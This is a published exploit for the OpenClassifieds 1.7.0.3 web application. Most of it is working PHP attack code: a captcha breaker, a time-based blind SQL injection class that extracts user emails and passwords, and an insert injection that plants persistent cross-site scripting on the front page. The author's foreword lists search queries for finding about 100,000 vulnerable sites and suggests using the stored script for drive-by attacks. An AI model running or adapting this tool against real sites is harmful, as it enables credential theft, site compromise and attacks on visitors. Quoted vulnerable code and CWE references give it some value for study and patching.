OpenClassifieds 1.7.0.3 – Chained: Captcha Bypass / SQL Injection / Persistent Cross-Site Scripting on FrontPage
Author:Michael Brooks (Rook)<br> Application:OpenClassifieds 1.7.0.3<br> download: http://open-classifieds.com/download/<br> Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br> If registration is required an extra link in the chain is added:<br> Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page<br> sites with SEO url's enabled:<br> "powerd by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)<br> or default urls:<br> "powerd by Open Classifieds" inurl:"item-new.php" (16,500 results)<br> Total sites: ~100,000<br> <br> <br> The target must be a link to the document root of OpenClassifieds<br> (If the exploit doesn't immediately reload then blind sqli is required, which will take a few minutes ;)<br> <form> Target: <input size=128 name=target value="http://localhost/"><br> Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br> <input type=submit value="Attack"> </form><br> <?php /* Foreword: I have always wanted to write a chained exploit with a captcha bypass, so I couldn't miss this opportunity. I spent a bit more effort on this exploit even though there aren't very many hits (around 100k starts to be worth while). Regardless, I dug into the application and pulled out the vulnerabilities needed to Finnish my masterpiece. Usually when I write a Remote Code Execution exploit for a web app you guys just deface the site or throw up drive-by attacks. So I figured, persistent XSS on the front page is equally as valuable, especially with yet another IE 0-day in the wild. The chain is within the application its self. Process sand-boxing like chroot/AppArmor/SELinux/Application-V(MS) doesn't come into play. It works regardless of the operating system or configurations (Suhosin, safemode, magic_quotes_gpc and register_globals doesn't come into play). I focused on the application's internal configurations that could break the exploitation process. In this case seo friendly urls and requiring an account before posting. "This web application [OpenClassifieds] is developed to be fast, light, secure and SEO friendly." Usually when I see that an application claims to be secure, they really don't know what the fuck they are doing. OpenClassifieds' Security model is deeply flawed and as a result there are MANY vulnerabilities in this code base which allowed me to string a few cool ones together to make an interesting exploit. OpenClassifieds is sanitizing everything on input using cG() and cP(), these functions are used to perform a mysql_real_escape_string() on all GET and POST variables. Most servers aren't using an exotic character set so from a security stand point this is exactly identical to magic_quotes_gpc. So I dusted off my usual magic_quotes_gpc auditing tricks, look for stripslashes(),base64decode(),urldecode(),html_entity_decode() lack of quote marks around variables in a query, ect... Sanitation must ALWAYS be done at the time of use, parametrized queries are a good example of this. Its impossible to account for all the ways a variable can be mangled once it enters a program and if you Sanitize input when it first enters the program there will be cases where it will become dangerous again. This isn't only a problem for SQLi, its also a problem for XSS. I am inserting JS into the database, which isn't a vulnerablity, but printing it, is persistant XSS. The blind sql injection is a bit strange. I can't use white space or commas, which is a pain. I had to rewrite my general purpose Blind SQLi Class to accommodate. A binary search is used to greatly speed up the blind sqli attack. (which I also used in my php-nuke exploit: http://www.exploit-db.com/exploits/12510/) Special thanks to Reiners for this sqli filter evasion cheat sheet: http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/ Here are some changes I had to make to my blind sql injection class: "select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)" if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end" CWE Violations leveraged by this exploit: CWE-256: Plaintext Storage of a Password CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I ran into a guy that works for Mitre.) CWE-89: SQL Injection x2 CWE-79: Cross-site Scripting (Persistant) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vulnerable captcha: openclassifieds/includes/common.php line 291 function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit for ($i = 0; $i < strlen($input); $i++) { $output .= "&#".ord($input[$i]).';'; } //$output = htmlspecialchars($output);//uncomment to escape sepecial chars return $output; } ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- function mathCaptcha(){//generates a captcha for the form $first_number=mt_rand(1, 94);//first operation number $second_number=mt_rand(1, 5);//second operation number $_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result $operation=" <b>".encode_str($first_number ." + ". $second_number)."</b>?";//operation codifieds echo _("How much is")." ".$operation; } ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vulnerable persistant xss and sqli /content/item-new.php line 41 $ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","". cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages"); ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- */ set_time_limit(0); error_reporting(0); function main(){ if($_REQUEST['target'] && $_REQUEST['xss']){ if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){ print("<b>Persistant XSS attack was sucessful.</b>"); }else{ print("<b>Persistant XSS attack has failed.</b>"); } } } //w00t, I can crack your captcha with 4 lines of code! //It would have been 3 if i had used eval(), but that would be a vulnerability ;) function breakCaptcha($page){ preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match); $code=html_entity_decode($match[1]); $math=new EvalMath(); return $math->evaluate($code); } function xssFrontPage($url,$xss){ $h=new http_client(); $page=$h->send($url."/content/item-new.php"); #Authentication required. if(strstr($page,'Location: http')){#Do we need authentication? print "Blind SQL Injection required.<br>"; $sex=new openclassifieds_blind_sql_injection($url."/"); if($sex->test_target()){ print "Target is vulnerable to attack!<br>"; $pass=$sex->find_string("password"); print "Found Password:<b>$pass</b><br>"; $email=$sex->find_string("email"); print "Found email:<b>$email</b><br>"; $h->postdata="email=$email&password=$pass&submit=loading..."; $h->send($url."/content/account/login.php"); $h->postdata=''; $page=$h->send($url."/"); }else{ die("This target is not exploitable!<br>"); } }else{ $email="test@test.com"; } $code=breakCaptcha($page); $payload=blind_sql_injection::charEncode($xss); $pwd=mt_rand(1,9999999);//Strong password :p $fake_phone=mt_rand(1111111111,9999999999); $fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com"); $fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254)); //Stored xss in the description,place and name columns. $inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#"; $h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code; $h->send($url."/content/item-new.php"); $h->postdata=''; //I could use sql injection to find the id, but thats noisy and slow. $rss=$h->send($url."/content/feed-rss.php"); //seo friendly if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){ $guess=$match[1]; }else if(preg_match("/item\=(.*)\&type/",$rss,$match)){ $guess=$match[1]; }else{ $guess=0; } $guess++; $page=''; $test=false; #Now lets activate the XSS post. for($x=$guess;$x-$guess<=128&&!$test;$x++){ $page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm"); $test=strstr($page,"<script language='JavaScript' type='text/javascript'>alert('"); } return $test; } //http://localhost/openclassifieds/?location=%26%23039;/**/or/**/sleep(10)/**/or/**/1=%26%23039; //The blind_sql_injeciton calss is a general exploit framework that we are inheriting. class openclassifieds_blind_sql_injection extends blind_sql_injection { //This is the blind sql injection request. function query($check){ //build the http request to Inject a query: //"%26%23039;" is a single quote encoded with urlencode(htmlencode("'",ENT_QUOTES)); $payload="%26%23039; or (select ".$check." from oc_accounts where active=1 limit 1) or 1=%26%23039;"; #white space becomes and underscore "_" so it must be replaced. $payload=str_replace(" ","/**/",$payload); $this->set_get("location=".$payload); } } //This is a very efficient blind sql injection class. class blind_sql_injection{ var $url, $backup_url, $result, $http, $request_count, $timeout; function blind_sql_injection($url,$timeout=10){ $this->request_count=0; $this->url=$url; $this->backup_url=$url; $this->http=new http_client(); $this->timeout=$timeout; } function set_get($get){ $this->url=$this->url."?".$get; } function set_referer($referer){ $this->http->referer=$referer; } function set_post($post){ $this->http->postdata=$post; } function test_target(){ return $this->send("case true when true then sleep(".$this->timeout.") when false then sleep(0) end")&&!$this->send("case false when true then sleep(".$this->timeout.") when false then sleep(0) end"); #return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)"); } function num_to_hex($arr){ $ret=''; foreach($arr as $a){ if($a<=9){ $ret.=$a; }else{ $ret.=chr(87+$a); } } return $ret; } ###These where not ported to the non-comma version. //Looking for a string of length 32 and base 16 in ascii chars. #function find_md5($column){ # return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)")); #} #function find_sha1($column){ # return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)")); #} //Look for an ascii string of arbitrary length. function find_string($column){ $ret=''; //A length of zero means we are looking for a null byte terminated string. $result=$this->bin_finder(128,0,"ascii(substring($column from %s for 1))"); foreach($result as $r){ $ret.=chr($r); } return strrev($ret); } //query() is a method that generates the sql injection request function query($check){ //This function must be overridden. } function recheck($result,$question,$base){ $this->bin_finder($base,1,$question,$start); //Force a long timeout. $tmp_timeout=$this->timeout; if($this->timeout<10){ $this->timeout=10; }else{ $this->timeout=$this->timeout*2; } $l=1; foreach($result as $r){ if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } $l++; } $this->timeout=$tmp_timeout; } function linear_finder($base,$length,$question){ for($l=1;$l<=$length;$l++){ for($b=0;$b<$base;$b++){ if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } } } } #Binary search for mysql based sql injection. function bin_finder($base,$length,$question){ $start_pos=1; $result=''; for($cur=$start_pos;$cur<=$length||$length==0;$cur++){ $n=$base-1; $low=0; $floor=$low; $high=$n-1; $pos= $low+(($high-$low)/2); $found=false; while($low<=$high&&!$found){ #asking the sql database if the current value is greater than $pos if($this->send("case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end")){ #if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true then the value must be the modulus. if($pos==$n-1){ $result[]=$pos+1; $found=true; }else{ $low=$pos+1; } #asking the sql database if the current value is less than $pos }else if($this->send("case ".sprintf($question,"0+".$cur)."<".$pos." when true then sleep(".$this->timeout.") end")){ #}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true the value must be zero, or in the case of ascii, a null byte. if($pos==$floor+1){ $found=true; #We have found the null terminator so we have finnished our search for a string. if($length==0){ $length=-1; }else{ $result[]=$pos-1; } }else{ $high=$pos-1; } }else{ #both greater than and less then where asked, so so then the answer is our guess $pos. $result[]=$pos; $found=true; } $pos=$low+(($high-$low)/2); } print("."); } return $result; } //Fire off the request function send($quesiton){ //build the injected query. $this->query($quesiton); $start=time(); $resp=$this->http->send($this->url); //backup_url is for set_get() $this->url=$this->backup_url; $this->request_count++; return (time()-$start>=$this->timeout); } //retroGod RIP function charEncode($string){ $char="char("; $size=strlen($string); for($x=0;$x<$size;$x++){ $char.=ord($string[$x]).","; } $char[strlen($char)-1]=")%00"; return $char; } } //General purpose http client that works on a default php install. (curl not required) class http_client{ var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata=''; function send($loc){ //overload function polymorphism between gets and posts $url=parse_url($loc); if(!isset($url['port'])){ $url['port']=80; } $ua='Firefox'; if($this->proxy_ip!=''&&$this->proxy_port!=''){ $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 ); $url['path']=$url['host'].':'.$url['port'].$url['path']; }else{ $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 ); } if( !$fp ) { print "$errstr ($errno)<br>\nn"; return false; } else { if(@!$url['query']){ $url['query']=''; } if( $this->postdata=='' ) { $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } else { $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } if($this->proxy_name!=''&&$this->proxy_pass!=''){ $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n"; } $request.="Host: ".$url['host'].":".$url['port']."\r\n"; $request.="User-Agent: ".$ua."\r\n"; $request.="Accept: text/plain\r\n"; if($this->referer!=''){ $request.="Referer: ".$this->referer."\r\n"; } $request.="Connection: Close\r\n"; if($this->cookie!=''){ $request.="Cookie: ".$this->cookie."\r\n" ; } if( $this->postdata!='' ) { $strlength = strlen( $this->postdata ); $request.="Content-type: application/x-www-form-urlencoded\r\n" ; $request.="Content-length: ".$strlength."\r\n\r\n"; $request.=$this->postdata; } fputs( $fp, $request."\r\n\r\n" ); $output=''; while( !feof( $fp ) ) { $output .= fgets( $fp, 1024 ); } fclose( $fp ); $header=explode("\r\n\r\n",$output); if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){ $cookie=explode("Set-Cookie: ",$header[0]); $cookie=explode("\n",$cookie[1]); $cookie=explode(";",$cookie[0]); $this->cookie=trim($cookie[0]); } if(strstr($output,"Query:")){ die($output); } return $output; } } //Use a http proxy function proxy($proxy){ //user:pass@ip:port $proxyAuth=explode('@',$proxy); if(isset($proxyAuth[1])){ $login=explode(':',$proxyAuth[0]); $this->proxy_name=$login[0]; $this->proxy_pass=$login[1]; $addr=explode(':',$proxyAuth[1]); }else{ $addr=explode(':',$proxy); } $this->proxy_ip=$addr[0]; $this->proxy_port=$addr[1]; } //Parses the results from a PHP error to use as a path disclosure. function getPath($url,$pops=1){ $html=$this->send($url); //Regular error reporting: $resp=explode("array given in <b>",$html); if(isset($resp[1])){ $resp = explode("</b>",$resp[1]); }else{ //xdebug's error reporting: $resp=explode("array given in ",$html); if(isset($resp[1])){ $resp = explode(" ",$resp[1]); }else{ $resp[0]=false; } } $path=$resp[0]; //Can't use dirname() if(strstr($path,"\\")){ $p=explode("\\",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("\\",$p); }else{ $p=explode("/",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("/",$p); } return $path; } //Grab the server type from the http header. function getServer($url){ $resp=$this->send($url); $header=explode("Server: ",$resp); $server=explode("\n",$header[1]); return $server[0]; } } #used to evaluate the captcha. 1+2=3 class EvalMath { var $suppress_errors = false; var $last_error = null; var $v = array('e'=>2.71,'pi'=>3.14); // variables (and constants) var $f = array(); // user-defined functions var $vb = array('e', 'pi'); // constants var $fb = array( // built-in functions 'sin','sinh','arcsin','asin','arcsinh','asinh', 'cos','cosh','arccos','acos','arccosh','acosh', 'tan','tanh','arctan','atan','arctanh','atanh', 'sqrt','abs','ln','log'); function EvalMath() { // make the variables a little more accurate $this->v['pi'] = pi(); $this->v['e'] = exp(1); } function e($expr) { return $this->evaluate($expr); } function evaluate($expr) { $this->last_error = null; $expr = trim($expr); if (substr($expr, -1, 1) == ';') $expr = substr($expr, 0, strlen($expr)-1); // strip semicolons at the end //=============== // is it a variable assignment? if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/', $expr, $matches)) { if (in_array($matches[1], $this->vb)) { // make sure we're not assigning to a constant return $this->trigger("cannot assign to constant '$matches[1]'"); } if (($tmp = $this->pfx($this->nfx($matches[2]))) === false) return false; // get the result and make sure it's good $this->v[$matches[1]] = $tmp; // if so, stick it in the variable array return $this->v[$matches[1]]; // and return the resulting value //=============== // is it a function assignment? } elseif (preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/', $expr, $matches)) { $fnn = $matches[1]; // get the function name if (in_array($matches[1], $this->fb)) { // make sure it isn't built in return $this->trigger("cannot redefine built-in function '$matches[1]()'"); } $args = explode(",", preg_replace("/\s+/", "", $matches[2])); // get the arguments if (($stack = $this->nfx($matches[3])) === false) return false; // see if it can be converted to postfix for ($i = 0; $i<count($stack); $i++) { // freeze the state of the non-argument variables $token = $stack[$i]; if (preg_match('/^[a-z]\w*$/', $token) and !in_array($token, $args)) { if (array_key_exists($token, $this->v)) { $stack[$i] = $this->v[$token]; } else { return $this->trigger("undefined variable '$token' in function definition"); } } } $this->f[$fnn] = array('args'=>$args, 'func'=>$stack); return true; //=============== } else { return $this->pfx($this->nfx($expr)); // straight up evaluation, woo } } function vars() { $output = $this->v; unset($output['pi']); unset($output['e']); return $output; } function funcs() { $output = array(); foreach ($this->f as $fnn=>$dat) $output[] = $fnn . '(' . implode(',', $dat['args']) . ')'; return $output; } //===================== HERE BE INTERNAL METHODS ====================\\ // Convert infix to postfix notation function nfx($expr) { $index = 0; $stack = new EvalMathStack; $output = array(); // postfix form of expression, to be passed to pfx() $expr = trim(strtolower($expr)); $ops = array('+', '-', '*', '/', '^', '_'); $ops_r = array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative operator? $ops_p = array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator precedence $expecting_op = false; // we use this in syntax-checking the expression // and determining when a - is a negation if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr, $matches)) { // make sure the characters are all good return $this->trigger("illegal character '{$matches[0]}'"); } while(1) { // 1 Infinite Loop ;) $op = substr($expr, $index, 1); // get the first character at the current index // find out if we're currently at the beginning of a number/variable/function/parenthesis/operand $ex = preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr, $index), $match); //=============== if ($op == '-' and !$expecting_op) { // is it a negation instead of a minus? $stack->push('_'); // put a negation on the stack $index++; } elseif ($op == '_') { // we have to explicitly deny this, because it's legal on the stack return $this->trigger("illegal character '_'"); // but not in the input expression //=============== } elseif ((in_array($op, $ops) or $ex) and $expecting_op) { // are we putting an operator on the stack? if ($ex) { // are we expecting an operator but have a number/variable/function/opening parethesis? $op = '*'; $index--; // it's an implicit multiplication } // heart of the algorithm: while($stack->count > 0 and ($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ? $ops_p[$op] < $ops_p[$o2] : $ops_p[$op] <= $ops_p[$o2])) { $output[] = $stack->pop(); // pop stuff off the stack into the output } // many thanks: http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail $stack->push($op); // finally put OUR operator onto the stack $index++; $expecting_op = false; //=============== } elseif ($op == ')' and $expecting_op) { // ready to close a parenthesis? while (($o2 = $stack->pop()) != '(') { // pop off the stack back to the last ( if (is_null($o2)) return $this->trigger("unexpected ')'"); else $output[] = $o2; } if (preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did we just close a function? $fnn = $matches[1]; // get the function name $arg_count = $stack->pop(); // see how many arguments there were (cleverly stored on the stack, thank you) $output[] = $stack->pop(); // pop the function and push onto the output if (in_array($fnn, $this->fb)) { // check the argument count if($arg_count > 1) return $this->trigger("too many arguments ($arg_count given, 1 expected)"); } elseif (array_key_exists($fnn, $this->f)) { if ($arg_count != count($this->f[$fnn]['args'])) return $this->trigger("wrong number of arguments ($arg_count given, " . count($this->f[$fnn]['args']) . " expected)"); } else { // did we somehow push a non-function on the stack? this should never happen return $this->trigger("internal error"); } } $index++; //=============== } elseif ($op == ',' and $expecting_op) { // did we just finish a function argument? while (($o2 = $stack->pop()) != '(') { if (is_null($o2)) return $this->trigger("unexpected ','"); // oops, never had a ( else $output[] = $o2; // pop the argument expression stuff and push onto the output } // make sure there was a function if (!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) return $this->trigger("unexpected ','"); $stack->push($stack->pop()+1); // increment the argument count $stack->push('('); // put the ( back on, we'll need to pop back to it again $index++; $expecting_op = false; //=============== } elseif ($op == '(' and !$expecting_op) { $stack->push('('); // that was easy $index++; $allow_neg = true; //=============== } elseif ($ex and !$expecting_op) { // do we now have a function/variable/number? $expecting_op = true; $val = $match[1]; if (preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or variable w/ implicit multiplication against parentheses... if (in_array($matches[1], $this->fb) or array_key_exists($matches[1], $this->f)) { // it's a func $stack->push($val); $stack->push(1); $stack->push('('); $expecting_op = false; } else { // it's a var w/ implicit multiplication $val = $matches[1]; $output[] = $val; } } else { // it's a plain old var or num $output[] = $val; } $index += strlen($val); //=============== } elseif ($op == ')') { // miscellaneous error checking return $this->trigger("unexpected ')'"); } elseif (in_array($op, $ops) and !$expecting_op) { return $this->trigger("unexpected operator '$op'"); } else { // I don't even want to know what you did to get here return $this->trigger("an unexpected error occured"); } if ($index == strlen($expr)) { if (in_array($op, $ops)) { // did we end with an operator? bad. return $this->trigger("operator '$op' lacks operand"); } else { break; } } while (substr($expr, $index, 1) == ' ') { // step the index past whitespace (pretty much turns whitespace $index++; // into implicit multiplication if no operator is there) } } while (!is_null($op = $stack->pop())) { // pop everything off the stack and push onto output if ($op == '(') return $this->trigger("expecting ')'"); // if there are (s on the stack, ()s were unbalanced $output[] = $op; } return $output; } // evaluate postfix notation function pfx($tokens, $vars = array()) { if ($tokens == false) return false; $stack = new EvalMathStack; foreach ($tokens as $token) { // nice and easy // if the token is a binary operator, pop two values off the stack, do the operation, and push the result back on if (in_array($token, array('+', '-', '*', '/', '^'))) { if (is_null($op2 = $stack->pop())) return $this->trigger("internal error"); if (is_null($op1 = $stack->pop())) return $this->trigger("internal error"); switch ($token) { case '+': $stack->push($op1+$op2); break; case '-': $stack->push($op1-$op2); break; case '*': $stack->push($op1*$op2); break; case '/': if ($op2 == 0) return $this->trigger("division by zero"); $stack->push($op1/$op2); break; case '^': $stack->push(pow($op1, $op2)); break; } // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on } elseif ($token == "_") { $stack->push(-1*$stack->pop()); // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on } elseif (preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a function! $fnn = $matches[1]; if (in_array($fnn, $this->fb)) { // built-in function: if (is_null($op1 = $stack->pop())) return $this->trigger("internal error"); $fnn = preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms if ($fnn == 'ln') $fnn = 'log'; eval('$stack->push(' . $fnn . '($op1));'); // perfectly safe eval() } elseif (array_key_exists($fnn, $this->f)) { // user function // get args $args = array(); for ($i = count($this->f[$fnn]['args'])-1; $i >= 0; $i--) { if (is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return $this->trigger("internal error"); } $stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay... recursion!!!! } // if the token is a number or variable, push it on the stack } else { if (is_numeric($token)) { $stack->push($token); } elseif (array_key_exists($token, $this->v)) { $stack->push($this->v[$token]); } elseif (array_key_exists($token, $vars)) { $stack->push($vars[$token]); } else { return $this->trigger("undefined variable '$token'"); } } } // when we're out of tokens, the stack should have a single element, the final result if ($stack->count != 1) return $this->trigger("internal error"); return $stack->pop(); } // trigger an error, but nicely, if need be function trigger($msg) { $this->last_error = $msg; if (!$this->suppress_errors) trigger_error($msg, E_USER_WARNING); return false; } } // for internal use class EvalMathStack { var $stack = array(); var $count = 0; function push($val) { $this->stack[$this->count] = $val; $this->count++; } function pop() { if ($this->count > 0) { $this->count--; return $this->stack[$this->count]; } return null; } function last($n=1) { return $this->stack[$this->count-$n]; } } main(); ?> |